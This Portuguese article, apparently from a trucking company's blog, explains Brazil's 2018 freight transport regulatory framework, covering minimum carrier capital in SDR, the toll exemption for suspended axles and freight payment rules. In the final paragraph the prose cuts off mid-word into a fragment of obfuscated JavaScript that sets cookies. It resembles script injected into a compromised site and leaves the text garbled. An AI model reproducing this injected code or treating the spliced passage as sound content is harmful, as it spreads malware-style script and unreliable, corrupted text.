O que é o marco regulatório do transporte?

O que é o marco regulatório do transporte?

Como a grande maioria dos nossos leitores já sabe, o transporte rodoviário é o mais importante do Brasil, sendo responsável por literalmente mover o nosso país. Dessa forma, como a circulação de caminhões pelas estradas tupiniquins é grande, faz-se necessário uma série de regulamentações que visam unificar o transporte de cargas a partir de leis nacionais.

No ano de 2018, mais precisamente no dia 20 de junho, foi aprovado pela Câmara dos Deputados um novo marco regulatório do transporte de cargas no país. Nesse artigo iremos falar mais sobre o que esse documento regulamenta e quais regras ele impõe para o transporte na nação.

Para que serve o marco regulatório do transporte?

O marco regulatório do transporte de cargas é feito para disciplinar várias questões acerca da circulação de caminhões e dos serviços prestados por estes veículos em todo o país. Assuntos como o frete e os seus valores, seguros, relações de contrato e penalidades do CTB – Código de Trânsito Brasileiro – são tratadas com a sua devida importância no documento.

Além disso, ele é responsável por delegar obrigações para os condutores e possuintes de veículos desse tipo, tais como cadastros no RNTRC e identificação do tipo de donos. Estes, por sua vez, podem ser autônomos – conhecidos como TAC –, cooperativos – conhecidos como CTC –, empresa de transportes de cargas – ETC – e operador logísticos – OC.

Definições do novo marco regulatório do transporte

Como falamos, um novo marco regulatório do transporte de carga foi aprovado há pouco tempo no Brasil. Sendo assim, é proveitos que o leitor, provavelmente apaixonado por caminhões e pela vida da estrada, saiba quais são as importantes definições desse novo documento.

– Capital mínimo para empresas:

De agora em diante, todas as empresas do setor de transporte de cargas precisam apresentar capital mínimo para continuarem operando. Isso é motivado a fim de reduzir a sucateação do transporte de cargas no Brasil. A moeda usada para definir o capital mínimo é a usada pelo Fundo Monetário Internacional – FMI –, conhecida como Direito Especial de Saque – DES. Esta, por sua vez, tem uma cotação diária, que hoje se aproxima de R$5,00.

Empresas grandes, como as de vale-pedágio, terão de ter 400 mil DES de capital mínimo. Companhias de logística e transporta irão necessitar de um capital de 300 mil DES. Para as cooperativas de transporte, a quantia necessária é de 200 mil DES e para empresas rodoviárias de carga própria o valor é 100 mil DES. O condutor de carga própria que possui apenas um veículo está isento desse capital mínimo. Autônomos também estão isentos.

Eixo suspenso não terá de pagar pedágio:

Segundo a nova definição do Marco Regulatório do Transporte de Cargas, veículos que possuírem o eixo suspenso estarão isentos de pagar as taxas cobradas pelos pedágios. Essa isenção valerá para todos os tipos de estradas, sejam elas federais, municipais ou estaduais.

Mudanças no frete:

A partir desse novo Marco Regulatório do Transporte de Cargas, o frete deverá ser pago, em todas as vezes, no momento de entrega da mercadoria. O valor para o atraso desse pagamento será de multa de 10%, somado a um juro de mora de 1% ao mês.

O pagamento do frete deverá ser feito por depósito em conta em todas as vezes. As movimentações nas contas dos motoristas autônomos serão a forma de comprovação dorendimentos dos mesmos.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]

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Rota 101 e 116

 

Em Breve a Disposição.

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